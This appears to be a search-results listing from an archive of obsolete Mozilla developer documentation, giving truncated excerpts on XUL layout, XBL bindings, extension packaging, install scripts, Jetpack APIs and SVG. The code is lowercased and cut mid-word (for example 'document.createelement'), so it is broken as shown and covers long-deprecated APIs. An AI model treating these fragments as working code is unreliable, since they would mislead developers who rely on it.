make the box style="display: block" and the wrapping behavior will occur when the box is resized: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="yourwindow" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <hbox style="display: block"> <label value="aaa"/> <label value="bbb"/> <label value="ccc"/> <label value="ddd"/> <label value="eee"/> <label value="fff"/> <label value="ggg"/> <label value="hhh"/> <label value="iii"/> <label value="jjj"/> <label value="kkk"/> <label value="lll"/> <label value="mmm"/> <label v...
...this keeps the image from stretching inside the box: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <box align="start" style="display:block"> <image src="chrome://global/skin/icons/error.png" style="padding:5px"/> <textbox /> <image src="chrome://global/skin/icons/error.png" style="padding:5px"/> <button label="hello"/> <image src="chrome://global/skin/icons/error.png" style="padding:5px"/> </box> </window> ...
Forms related code snippets - Archive of obsolete content
date picker (before implementing it in a working environment, please read the note about the const statement compatibility) <!doctype html> <html> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <title>datepicker example - mdn</title> <script type="text/javascript"> /*\ |*| |*| datepicker example mdndeveloper network |*| |*| https://developer.mozilla.org/docs/code_snippets/forms |*| https://developer.mozilla.org/user:fusionchess |*| |*| this snippet is released under the gnu public license, version 3 or later.
... |*| http://www.gnu.org/licenses/gpl-3.0-standalone.html |*| \*/ (function () { function datepicker (otarget) { const otable = document.createelement("table"), ohrow = document.createelement("tr"), othead = document.createelement("thead"), ocapt = document.createelement("caption"), odecryear = document.createelement("span"), oincryear = document.createelement("span"), odecrmonth = document.createelement("span"), oincrmonth = document.createelement("span"); var nid = ainstances.length, oth; this.target = otarget; this.display = document.createelement("span"); this.current = new date(); this.container = otable; this.display.classname = sprefs + "-current-month"; this.id = nid; otable.classname = sprefs + "-calendar"; ...
HTML in XUL for rich tooltips - Archive of obsolete content
this example is what the final xul overlay could look like, assuming a javascript overlay titled overlay.js: <?xml version="1.0" encoding="utf-8"?> <overlay id="htmltip-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:html="http://www.w3.org/1999/xhtml"> <script type="application/x-javascript" src="overlay.js"/> <popup id="contentareacontextmenu"> <menuitem id="htmltip1" label="foo1" onmouseover="htmltip.onmousetooltip(event)" tooltip="myhtmltip" /> <menuitem id="htmltip2" label="foo2" onmouseover="...
... <?xml version="1.0" encoding="utf-8"?> <overlay id="htmltip-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:html="http://www.w3.org/1999/xhtml"> <script type="application/x-javascript" src="overlay.js"/> <popup id="contentareacontextmenu"> <menuitem id="htmltip3" label="foo3" tooltip="mytip3html" /> </popup> <popupset id="mainpopupset"> <tooltip id="mytip3html"> <html:div type="content"...
Label and description - Archive of obsolete content
<description>i am your father's brother's nephew's cousin's former roommate.<html:br/> what's that make us?<html:br/> absolutely nothing!</description> using labels as anchors its possible to make a label look and act like an html <a> tag: <label class="text-link" href="http://whatever.com" value="click here to go to whatever"/> "text-link" is a built-in, predefined class.
... note: if running in a xulrunner application add the following preferences to your default preferences file: pref("network.protocol-handler.expose.http", false); pref("network.protocol-handler.warn-external.http", false); change or add additional protocols (https or ftp) as needed.
QuerySelector - Archive of obsolete content
ctor(selector); }; html example: <h1><a>test!<a/></h1> <script> element.prototype.$ = function (selector) { return this.queryselector(selector); }; alert(document.getelementsbytagname('h1')[0].$('a').nodename); // 'a' xul example: <hbox><vbox/></hbox> <script type="text/javascript"><![cdata[ element.prototype.$ = function (selector) { return this.queryselector(selector); }; var xulns = 'http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul'; alert(document.getelementsbytagnamens(xulns, 'hbox')[0].$('vbox').nodename); // vbox ]]></script> xml example: <foo xmlns="somens"><bar/></foo> in document earlier var foo = document.getelementsbytagnamens('somens', 'foo')[0]; alert(foo.$('bar')); note that for plain xml, the # 'id' selector will not work with an 'id' attribute (since ...
...however, it will work with attribute selectors that target non-prefixed attributes (such as 'id', but not xml:id: http://www.w3.org/tr/selectors-api/#resolving) (even though css3 does support namespaced attribute selectors: http://www.w3.org/tr/css3-selectors/#attrnmsp and potentially xml:id as #: http://www.w3.org/tr/css3-selectors/#id-selectors ).
SVG General - Archive of obsolete content
svg template here is a basic markup template to start building an svg document: <svg xmlns="http://www.w3.org/2000/svg"> <!-- svg elements go here --> </svg> note: it is recommended that you do not use dtd's with svg documents.
...here is the script: var svgns = "http://www.w3.org/2000/svg"; var xlinkns = "http://www.w3.org/1999/xlink"; var attr_map = { "classname": "class", "svghref": "href" } var ns_map = { "svghref": xlinkns }; function makesvg(tag, attributes) { var elem = document.createelementns(svgns, tag); for (var attribute in attributes) { var name = (attribute in attr_map ?
StringView - Archive of obsolete content
:: |*| |*| /docs/web/javascript/reference/global_objects/number/isinteger |*| \*/ if (!number.isinteger) { number.isinteger = function isinteger (nval) { return typeof nval === "number" && isfinite(nval) && nval > -9007199254740992 && nval < 9007199254740992 && math.floor(nval) === nval; }; } /*\ |*| |*| stringview mdndeveloper network |*| |*| revision #12, march 21st, 2017 |*| |*| https://developer.mozilla.org/add-ons/code_snippets/stringview |*| https://developer.mozilla.org/docs/user:fusionchess |*| https://github.com/madmurphy/stringview.js |*| |*| this framework is released under the gnu lesser general public license, version 3 or later.
... |*| http://www.gnu.org/licenses/lgpl-3.0.html |*| \*/ function stringview (vinput, sencoding /* optional (default: utf-8) */, noffset /* optional */, nlength /* optional */) { var ftaview, awhole, araw, fputoutptcode, fgetoutptchrsize, ninptlen, nstartidx = isfinite(noffset) ?
xml:base support in old browsers - Archive of obsolete content
var scheme = /(\w(\w|\d|\+|\- |\ .)*)\:\/\//; function getxmlbaselink (xlink, thisitem) { var xmlbase = ''; if (!xlink.match(scheme)) { // only check for xml base if there is no protocol // tests for 'scheme' per http://www.ietf.org/rfc/rfc2396.txt' xmlbase = getxmlbase (thisitem); if (!xmlbase.match(/\/$/) && !xlink.match(/\/$/)) { // if no preceding slash on xlink or trailing slash on xml:base, add one in between xmlbase += '/'; } else if (xmlbase.match(/\/$/) && xlink.match(/\/$/)) { xmlbase = xmlbase.substring(0, xmlbase.length-2); // strip off last slash to join with xlink path with slash ...
... // var ns = 'http://www.w3.org/xml/1998/namespace'; var att, protocolpos; var xmlbase = ''; var abs = false; // avoid loop if node is not present if (!thisitem || !thisitem.nodename) { return xmlbase; } // check present element and higher up for xml:base // now check for the next matching local name up in the hierarchy (until the document root) while (thisitem.nodename !== '#document' && thisitem.nodena...
Deploying a Plugin as an Extension - Archive of obsolete content
here's what a basic install.rdf file looks like: <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>rhapsodyplayerengine@rhapsody.com</em:id> <em:name>rhapsody player engine</em:name> <em:version>1.0.0.487</em:version> <em:targetapplication> <description> <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id> ...
...for example: <em:updateurl><http://www.rhapsody.com/update.rdf></em:updateurl> this url specifies an rdf file that can be used to tell firefox that there are updates available for your extension.
Displaying web content in an extension without security issues - Archive of obsolete content
for example, "chrome://foo/content/foo.xhtml" will have full privileges, "http://example.com/foo.xhtml" will be allowed to access example.com, "file:///c:/foo.xhtml" will be allowed to read files from disk (with some restrictions).
...so in the simplest case you would have: <iframe type="content" src="data:text/html,%3chtml%3e%3cbody%3e%3c/body%3e%3c/html%3e"/> but usually you don’t want to start with an empty document, you would rather want to load some template into the frame: var request = new xmlhttprequest(); request.open("get", "chrome://foo/content/template.html", false); request.send(null); frame.setattribute("src", "data:text/html," + encodeuricomponent(request.responsetext)); that way you can have the template in your extension but still strip it off all privileges when it is loaded in a frame.
Extension Packaging - Archive of obsolete content
since most http servers are not configured to return this mime type for the .xpi extension by default, you will probably need to configure your http server.
... in the apache http server, this can be done by adding the following directive to the configuration file or .htaccess: addtype application/x-xpinstall .xpi install extension files directly if you know the location of the application (if you are installing an extension as part of the application installer, for example), you can install the extension files directly to <appdir>/extensions/<extensionid>.
Inline options - Archive of obsolete content
here is an example of an options.xul file: <?xml version="1.0"?> <!doctype mydialog system "chrome://myaddon/locale/mydialog.dtd"> <vbox xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <setting type="bool" pref="extensions.myaddon.bool" title="boolean" desc="stored as a boolean preference" /> </vbox> note that it's limited to <setting> tags.
...see mxr for what all this holds: http://mxr.mozilla.org/mozilla-release/source/toolkit/mozapps/extensions/content/setting.xml for example you can fire this.inputchanged() etc etc.
The Essentials of an Extension - Archive of obsolete content
<em:name>xul school hello world</em:name> <em:description>welcome to xul school!</em:description> <em:version>0.1</em:version> <em:creator>appcoast</em:creator> <em:homepageurl>https://developer.mozilla.org/docs/xul_school</em:homepageurl> this is the data that is displayed before and after the extension is installed, that you can see in the add-ons manager.
... <overlay id="xulschoolhello-browser-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> the root element in the file is an overlay.
Supporting search suggestions in search plugins - Archive of obsolete content
(this means that a suggestion-supporting engine plugin will have two <url> elements, the other one being the main text/html search url.) for example, the yahoo search plugin has this <url> entry: <url type="application/x-suggestions+json" template="http://ff.search.yahoo.com/gossip?output=fxjson&command={searchterms}"/> if the user types "fir" into the search bar, then pauses, firefox inserts "fir" in place of {searchterms} and queries that url: <url type="application/x-suggestions+json" template="http://ff.search.yahoo.com/gossip?output=fxjson&command=fir"/> the results are used to construct the suggestion list box.
... when the browser wants to fetch possible matches for a search term, it then sends an http get request to the url specified by the <url> element.
Updating addons broken by private browsing changes - Archive of obsolete content
if your code refers to any of the following interfaces: ff 15: nsidomstoragemanager ff 16: nsitransferable ff 18: imgicache moziasyncfavicons nsifaviconservice nsiwebbrowserpersist ff 19: nsicontentprefservice nsidownloadmanager nsidownload nsihttpauthmanager nsistricttransportsecurityservice ff 20: nsiprivatebrowsingservice nsirecentbadcertservice furthermore, if your code uses any of these common chrome apis: ff 19: saveurl saveinternal openlinkin ff 20: openbrowserwindow gprivatebrowsingui finally, if your code watches for any of these observer notifications: private-browsing private-browsing-cancel-vote private-browsing-change...
... nsihttpauthmanager: setauthidentity and getauthidentity now take an optional boolean parameter to indicate whether the identity is classified as private.
Creating reusable content with CSS and XBL - Archive of obsolete content
note: xbl cannot be loaded over http, so this technique is only useful for local content accessed using the file:/// scheme, or from add-on code.
...copy and paste the content from here: <?xml version="1.0"?> <!doctype bindings> <bindings xmlns="http://www.mozilla.org/xbl" xmlns:xul="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:html="http://www.w3.org/1999/xhtml"> <binding id="square"> <resources> <stylesheet src="bind6.css"/> </resources> <content> <html:div anonid="square"/> <xul:button anonid="button" type="button"> <children/> </xul:button> </content> <i...
Install.js - Archive of obsolete content
there is a different sample install.js template located at http://downloads.mozdev.org/xsidebar/mods/.
...['classic', 'modern'] extpostinstallmessage: null, // set to null for no post-install message // --- editable items end --- profileinstall: true, silentinstall: false, install: function() { var jarname = this.extshortname + '.jar'; var profiledir = install.getfolder('profile', 'chrome'); // parse http arguments this.parsearguments(); // check if extension is already installed in profile if (file.exists(install.getfolder(profiledir, jarname))) { if (!this.silentinstall) { install.alert('updating existing profile install of ' + this.extfullname + ' to version ' + this.extversion + '.'); } this.profileinstall = true; } else if (!this.silentinstall) { // ask use...
Working with BFCache - Archive of obsolete content
that might come from the http cache or not, depending on whether it's been evicted; typically it does come from the http cache.
... the dom is recreated during the parsing process, and scripts are recompiled (and also reloaded, probably from the http cache).
Automated testing tips and tricks - Archive of obsolete content
todo: check example code in to the tree somewhere how to quit the browser on all platforms window.close() of the last open window does not quit the application on mac http://people.mozilla.com/~davel/scripts/ - look at quit.js and quit.xul install manifest file in appdir/chrome to map chrome://tests/content to directory containing quit.js and quit.xul example: content tests file:///users/davel/work/tests/ start app with command line flag -chrome chrome://tests/content/quit.xul how to create a new profile from the command line first, use the -createprofile command line flag to add a profile entry to profiles.ini and populate the new profile directory with a prefs.js file firefox-bin -createprofile "testprofile ${profi...
...in test scripts, <code>sleep 5 after the above command should ensure the profile is created before the next command in the test script is run how to enable dump in a new profile add user_pref("browser.dom.window.dump.enabled", true); to profiledir/user.js how to execute test code with chrome privileges using a chrome doc - see sbtests.xul in http://people.mozilla.com/~davel/scripts/ for an example firefox-bin -p sbtestprofile -chrome chrome://sbtests/content/ above code calls the quit function in quit.js to exit after test is finished how to detect content onload event from chrome use the domcontentloaded event chromewindow.addeventlistener('domcontentloaded',callbackfunction,false); ...
Making it into a dynamic overlay and packaging it up for distribution - Archive of obsolete content
we need to change some urls in the copy of tinderstatusoverlay.xul to point to the new locations the files will be in when they get installed via the xpi: <?xml version="1.0"?> <?xml-stylesheet href="chrome://tinderstatus/content/tinderstatus.css" type="text/css"?> <overlay id="tinderstatusoverlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://tinderstatus/content/tinderstatus.js" /> <statusbar id="status-bar"> <statusbarpanel class="statusbarpanel-iconic" id="tinderbox-status" insertbefore="offline-status" status="none"/> </statusbar> </overlay> we also need to change the urls in t...
...contents.rdf goes in the content sub-subdirectory: <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:chrome="http://www.mozilla.org/rdf/chrome#"> <rdf:seq about="urn:mozilla:package:root"> <rdf:li resource="urn:mozilla:package:tinderstatus"/> </rdf:seq> <rdf:description about="urn:mozilla:package:tinderstatus" chrome:displayname="mozilla tinderstatus extension" chrome:author="myk melez" chrome:name="tinderstatus" ...
install.rdf - Archive of obsolete content
copy the following text and paste it into a text file, then save that file as "install.rdf": <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>author@oftheme.com</em:id> <em:version>2.0b1</em:version> <!-- seamonkey --> <em:targetapplication> <description> <em:id>{92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a}</em:id> <em:minversion>2.0b1pre</em:minversion> <em:maxversion>2.0b2pre</em:maxversion> </description> </em:targetapplication> <!-- front end metadata --> <em:name>my_theme</em:name> <em:description>my first theme</em:description> <!-- front end integration hooks (used by t...
...heme manager)--> <em:creator>john johnson</em:creator> <em:contributor>john johnson</em:contributor> <em:homepageurl>https://mycoolskin.com/</em:homepageurl> <em:updateurl>https://mycoolskin.com/</em:updateurl> <em:abouturl>https://mycoolskin.com/</em:abouturl> <em:internalname>my_theme</em:internalname> </description> </rdf> ...
Creating a Skin for Mozilla - Archive of obsolete content
organizing images adding an image to the right of a toolbar jar file installer utility (provided by neil marshall) frequently asked questions links original document information author: neil marshall other contributors (suggestions/corrections): brent marshall, cdn (http://themes.mozdev.org), jp martin, boris zbarsky, asa dotzler, wesayso, david james, dan mauch last updated date: jan 5th, 2003 copyright information: copyright 2002-2003 neil marshall, permission given to devmo to migrate into the wiki april 2005 via email.
... original location: http://www.eightlines.com/neil/mozskin ...
Drag and Drop Example - Archive of obsolete content
the final code is shown below: <window title="widget dragger" id="test-window" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul"> <script src="chrome://global/content/nsdraganddrop.js"/> <script src="chrome://global/content/nstransferable.js"/> <script src="dragboard.js"/> <stack id="board" style="width:300px; height: 300px; max-width: 300px; max-height: 300px" ondragover="nsdraganddrop.dragover(event, boardobserver)" ondragdrop="nsdraga...
...opdata, session) { if (dropdata.data != "") { var elem = document.createelement(dropdata.data); event.target.appendchild(elem); elem.setattribute("left", "" + event.pagex); elem.setattribute("top", "" + event.pagey); elem.setattribute("label", dropdata.data); } } }; « previous original document information author(s): neil deakin original document: http://xulplanet.com/tutorials/mozsdk/dragex.php copyright information: copyright (c) neil deakin ...
Downloading Nightly or Trunk Builds - Archive of obsolete content
for firefox 3.5 that would be latest-mozilla-1.9.1 in https://archive.mozilla.org/pub/firefox/nightly/.
... nightly builds can be downloaded from https://archive.mozilla.org/pub/firefox/nightly/.
Hidden prefs - Archive of obsolete content
the default (defined in mailnews.js) is: pref("mail.addr_book.mapit_url.format", "http://www.mapquest.com/maps/map.adp...st&zipcode=@zi"); addressbook quick search query pref ("mail.addr_book.quicksearchquery.format" ) the format for this pref is: @v == the escaped value typed in the quick search bar in the addressbook every occurance of @v will be replaced.
...see http://lxr.mozilla.org/mozilla/sourc...drdatabase.idl for the list of valid attributes "c" == contains.
Java in Firefox Extensions - Archive of obsolete content
[note: a simpler hello world version than that below is now available at http://brett-zamir.me/java_demo/ ] for privileges, the basic procedure is: download and include http://simile.mit.edu/repository/jav...nsionutils.jar within your extension (you can also build your own from the source files at http://simile.mit.edu/repository/jav...xtensionutils/ ) build and add references leading to this jar and all other jars in your extension within an array of java.net.url's, pa...
...see also liveconnect overview https://jdk6.dev.java.net/plugin2/#liveconnect https://jdk6.dev.java.net/plugin2/liveconnect/ http://forums.sun.com/thread.jspa?th...66932&start=15 ...
Basics - Archive of obsolete content
titlethe head of the notification message.string bodythe messagestringfalse iconthe url of an .ico file.string jetpack.notifications.show("hello world");var mybody = " my first message body on jetpack";var myicon = "http://www.mozilla.com/favicon.ico";jetpack.notifications.show({title: "my first message on jetpack", body: mybody, icon: myicon}); class tabs in this class you can find information about the tabs in your firefox window.
... urlurl to be openedstring jetpack.tabs.open("http://www.example.com/"); ...
First Run - Archive of obsolete content
visit my <a href="http://example.com/myjetpack">homepage</a>.</p>' }; this does the same but uses e4x xml: var manifest = { firstrunpage: <> <p> thanks for installing!
... </p> </> }; in this example, the page at [http://example.com/myjetpack] becomes the first-run page: var manifest = { firstrunpage: "http://example.com/myjetpack" }; first-run callback you can register a callback that will be called after your jetpack has been successfully installed.
Menu - Archive of obsolete content
ArchiveMozillaJetpackUIMenu
note that the submenu contains many items, including a menu separator: jetpack.menu.context.page.add({ label: "ice cream", icon: "http://example.com/ice-cream.png", menu: new jetpack.menu(["vanilla", "chocolate", "pistachio", null, "none"]), command: function (menuitem) jetpack.notifications.show(menuitem.label) }); add an item to the hyperlink context menu that tweets the link: jetpack.menu.context.page.on("a").add(function (context) { return { label: "tweet", command: function () jetpack.lib.twitter.statuses.upd...
...replace that item with a menu that lets the user search either google or wikipedia: jetpack.menu.context.page.replace("search", function (context) { return { label: "search for " + jetpack.selection.text, menu: new jetpack.menu([ { label: "google", icon: "http://www.google.com/favicon.ico", data: "http://www.google.com/search?q=" }, { label: "wikipedia", icon: "http://en.wikipedia.org/favicon.ico", data: "http://en.wikipedia.org/wiki/" } ]), command: function (menuitem) { context.window.location.href = menuitem.data + jetpack.selection.text; } }; }); create some div buttons (e.g., i...
Plug-n-Hack - Archive of obsolete content
for example, to configure a browser to use an intercepting proxy that can handle https traffic, the user must typically: configure their browser to proxy via the tool configure the tool to proxy via their corporate proxy import the tool’s ssl certificate into their browser if any of these steps are carried out incorrectly then the browser will typically fail to connect to any website – debugging such problems can be frustrating and time-consuming.
... without integration between security tools and browsers, a user must often switch between the tool and their browser several times to perform a simple task, such as intercepting an http(s) request.
Configuration - Archive of obsolete content
this identifier becomes the name of the profile folder where your webapp is installed: google.mail@your.name uri the uri/url of the web app: http://mail.google.com name the display name of the application: gmail icon the icon you want to use for the prism window when running this web app.
...example here is an example of a webapp.ini profile: [parameters] name=gmail id=google.mail@developer.mozilla.org uri=https://mail.google.com icon=gmail status=yes location=no sidebar=no navigation=no ...
Proxy UI - Archive of obsolete content
the entries are on a per-protocol basis for: http, ssl (https), ftp, gopher.
...mouseover when online, the tooltip will include the current proxy mode: code http://mxr.mozilla.org/seamonkey/sou...ityoverlay.xul bugs bug 243624 reference network.proxy.type ...
PyDOM - Archive of obsolete content
for example, <window script-type="application/x-python" .../> html <meta http-equiv="content-script-type" content="application/x-python" /> should work (but possibly doesn't - see bug 100924).
...it should be obvious why you don't want to run http://evil.com/something_evil.py in your browser!
Frequently Asked Questions - Archive of obsolete content
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> actually the second binding isn't always required, but unless you understand namespaces, we'd strongly recommend you include it.
... <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> make sure all your svg files have these bindings.
Static Analysis for Windows Code under Linux - Archive of obsolete content
hg clone http://hg.mozilla.org/users/tglek_mo...-moz-plugin-mq .hg/patches # apply gty.diff and plugin.diff # if you have mq setup, do hg qpush -a (for file in `cat .hg/patches/series`; do cat .hg/patches/$file; done) |patch -p1 cd ..
...you can obtain mozilla 2 code by: hg clone http://hg.mozilla.org/mozilla-central/ and compose a .mozconfig file for cross-compiling mozilla with static analysis hooked: #specify the cross compile cross_compile=1 ac_add_options --enable-application=browser ac_add_options --host=i686-linux ac_add_options --target=i686-mingw32 ac_add_options --enable-default-toolkit=cairo-windows mk_add_options moz_objdir=@topsrcdir@/../mozilla-mingw # mozill...
Supporting per-window private browsing - Archive of obsolete content
var channel = services.io.newchannel("http://example.org", null, null); channel.queryinterface(components.interfaces.nsiprivatebrowsingchannel); channel.setprivate(true); // force the channel to be loaded in private mode similarly, xmlhttprequest objects created via createinstance(ci.nsixmlhttprequest) will often require explicit adjustment, since they have no context from which to derive a privacy status.
... var xhr = components.classes["@mozilla.org/xmlextras/xmlhttprequest;1"].createinstance(components.interfaces.nsixmlhttpreqeust); var channel = xhr.channel.queryinterface(components.interfaces.nsiprivatebrowsingchannel); channel.setprivate(true); ...
Running Tamarin acceptance tests - Archive of obsolete content
also the source to asc.jar may be downloaded and rebuilt from http://opensource.adobe.com/wiki/dis...exsdk/flex+sdk.
...also the source to asc.jar may be downloaded and rebuilt from http://opensource.adobe.com/wiki/display/flexsdk/flex+sdk.
Running Tamarin performance tests - Archive of obsolete content
also the source to asc.jar may be downloaded and rebuilt from http://opensource.adobe.com/wiki/dis...exsdk/flex+sdk.
...also the source to asc.jar may be downloaded and rebuilt from http://opensource.adobe.com/wiki/dis...exsdk/flex+sdk.
Binding Attachment and Detachment - Archive of obsolete content
input[type="checkbox"] { -moz-binding: url("http://www.mozilla.org/xbl/htmlbindings.xml#checkbox"); } bindings attached through css will only remain on the bound element as long as the element continues to match the style rule.
... var checkbox = document.getelementbyid("mycheckbox"); checkbox.style.mozbinding = "url(http://www.mozilla.org/xbl/htmlbindings.xml#checkbox)"; this attachment is not necessarily synchronous.
Example Sticky Notes - Archive of obsolete content
view this example <!doctype html public "-//w3c//dtd html 4.01//en" "http://www.w3.org/tr/html401/strict.dtd"> <html> <head> <title>xbl demo : sticky notes</title> <meta http-equiv="content-type" content="text/html; charset=iso-8859-1"> <style type="text/css"> body { background-color: #ffffff; color: #000000; font: 1em verdana, sans-serif; } h1 { font-size: 1.5em; } /* binding: */ .sticker { -moz-binding: url(notes.xml#default); } </style> </head> <body> <h1><a href="http://developer.mozilla.org/en/docs/xbl:xbl_1.0_reference">xbl</a> demo : sticky notes</h1> <div class="sticker"><p>acme,&nbsp;inc.
... fax - respond today.</p></div> <div class="sticker"><p>don't forget the eggs!</p></div> <div class="sticker"><p>the new project - who's on charge?</p></div> <div class="sticker"><p>learn more about xbl.</p></div> <p style="clear: left"><a href="http://validator.w3.org/check?uri=referer"><img src="https://udn.realityripple.com/samples/e2/dd625ef1cd.png" width="88" height="31" alt="valid html 4.01" style="border: 1px none"></a></p> </body> </html> notes.xml <?xml version="1.0"?> <bindings xmlns="http://www.mozilla.org/xbl" xmlns:xul="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:svg="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <!-- in above only xbl namespace declaration is mandatory.
Creating XPI Installer Modules - Archive of obsolete content
the barley package ui is a single xul window with an accompanying image: <?xml version="1.0"?> <?xml-stylesheet href="chrome://communicator/skin/" type="text/css"?> <window title="barley window" xmlns:html="http://www.w3.org/1999/xhtml" xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul" width="175" height="375" x="20" y="20" persist="width height x y" orient="vertical" autostretch="always"> <script src="barley.js"/> <image src="barley.gif" /> <box orient="horizontal" autostretch="never"> <button label="barley corn" /> <button label="show aphids" oncommand="bar();"...
...in the following listing, the items in red are particular to the barley package and can be edited for your own distribution: <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:chrome="http://www.mozilla.org/rdf/chrome#"> <!-- list all the packages being supplied --> <rdf:seq about="urn:mozilla:package:root"> <rdf:li resource="urn:mozilla:package:barley"/> </rdf:seq> <!-- package information --> <rdf:description about="urn:mozilla:package:barley" chrome:displayname="barley grain" chrome:author="ian oeschger"...
Install Wizards (aka: Stub Installers) - Archive of obsolete content
the xpinstall engine source resides at: <http://lxr.mozilla.org/seamonkey/sou...xpinstall/src/> what do we mean by stub installer?
...the stub installer calls some glue code: xpistub which resides at: < http://lxr.mozilla.org/seamonkey/sou...pinstall/stub/> this "glue" code initialized xpcom and registers the xpinstall engine and requisite components to prepare for use by the stub installer.
Install script template - Archive of obsolete content
the keys are written according to the specification: http://mozilla.org/projects/plugins/first-install-problem.html and follows the plid specification: http://mozilla.org/projects/plugins/plugin-identifier.html **/ // define some global variables var plugin_file = "npmyplugin.dll"; // this plugin consists of an xpt file because it is scriptable // http://mozilla.org/projects/plugins/scripting-plugins.html var component_file = "npmypluginscr...
...iptable.xpt"; var plugin_size = 2000; // (dll file) reserve a little extra so it is not required to update too often var component_size = 10; // (xpi file) reserve a little extra so it is not required to update too often var software_name="cult3d mozilla viewer"; // plids (http://mozilla.org/projects/plugins/plugin-identifier.html) are coined by vendors.
Additional Template Attributes - Archive of obsolete content
<listbox datasources="template-guide-photos5.rdf" ref="http://www.xulplanet.com/rdf/myphotos" template="phototemplate"/> ...
... <hbox datasources="template-guide-photos5.rdf" ref="http://www.xulplanet.com/rdf/myphotos"> <template container="?start" member="?photo"> <rule> <image uri="?photo" src="?photo"/> </rule> </template> </hbox> in this example, the ?photo variable can be used instead of 'rdf:*' (although you can use either even if you specify the member variable).
Rule Compilation - Archive of obsolete content
<vbox datasources="http://www.xulplanet.com/ds/sample.rdf" ref="http://www.xulplanet.com/rdf/a" flex="1"> <template> <query> -- query content goes here -- </query> <rule> -- rule content goes here -- </rule> <rule> -- rule content goes here -- </rule> </template> </vbox> query/rule compilation and lazy content generation when the template builder starts processing,...
...for instance, consider the example below: <vbox datasources="http://www.xulplanet.com/ds/sample.rdf" ref="http://www.xulplanet.com/rdf/a" hidden="true"> <template> ...
Code Samples - Archive of obsolete content
change the first line to specify the page that you want to open: const url = "http://www.mozilla.org/" document .getelementbyid("content") .webnavigation .loaduri(url, 0, null, null, null) if your button is in thunderbird or sunbird, use code like this to open a web page.
... change the first line to specify the page that you want to open: const url = "http://www.mozilla.org/" var uri = components .classes["@mozilla.org/network/simple-uri;1"] .getservice(components.interfaces.nsiuri) uri.spec = url components .classes["@mozilla.org/uriloader/external-protocol-service;1"] .getservice(components.interfaces.nsiexternalprotocolservice) .loadurl(uri) compose an e-mail to compose an e-mail, use the same code as in the section open a web page above.
Custom toolbar button - Archive of obsolete content
paste it into the new file: <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest" em:name="custom button" em:description="my custom toolbar button" em:creator="my name" em:id="custom-toolbar-button@example.com" em:version="1.0" em:homepageurl="http://developer.mozilla.org/en/docs/custom_toolbar_button" ...
...paste it into the new file: <?xml version="1.0" encoding="utf-8"?> <?xml-stylesheet type="text/css" href="chrome://custombutton/content/button.css"?> <!doctype overlay > <overlay id="custombutton-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://custombutton/content/button.js"/> <!-- firefox --> <toolbarpalette id="browsertoolbarpalette"> <toolbarbutton id="custom-button-1"/> </toolbarpalette> <!-- thunderbird mail --> <toolbarpalette id="mailtoolbarpalette"> <toolbarbutton id="custom-button-1"/> </toolbarpalette> ...
Adding HTML Elements - Archive of obsolete content
xmlns:html="http://www.w3.org/1999/xhtml" this is a declaration of html much like the one we used to declare xul.
...here is an example as it might be added to the find file window: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="find files" orient="horizontal" xmlns:html="http://www.w3.org/1999/xhtml" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> then, you can use html tags as you would normally, keeping in mind the following: you must add a html: prefix to the beginning of each tag, assuming you declared the html namespace as above.
Adding Style Sheets - Archive of obsolete content
if your xul file is stored remotely and accessed via an http url, you can store the style sheet remotely as well.
... </menupopup> </menulist> <spacer class="springspace"/> <menulist id="searchmode"> <menupopup> <menuitem label="is"/> <menuitem label="is not"/> </menupopup> </menulist> <spacer class="springspace"/> <menulist id="find-text" flex="1" editable="true" datasources="file:///mozilla/recents.rdf" ref="http://www.xulplanet.com/rdf/recent/all"/> ...
Creating Dialogs - Archive of obsolete content
example dialog source view <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/global.css" type="text/css"?> <dialog id="donothing" title="dialog example" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" buttons="accept,cancel" ondialogaccept="return dook();" ondialogcancel="return docancel();"> <script> function dook(){ alert("you pressed ok!"); return true; } function docancel(){ alert("you pressed cancel!"); return true; } </script> <description value="select a button"/> </dialog> you may place any ...
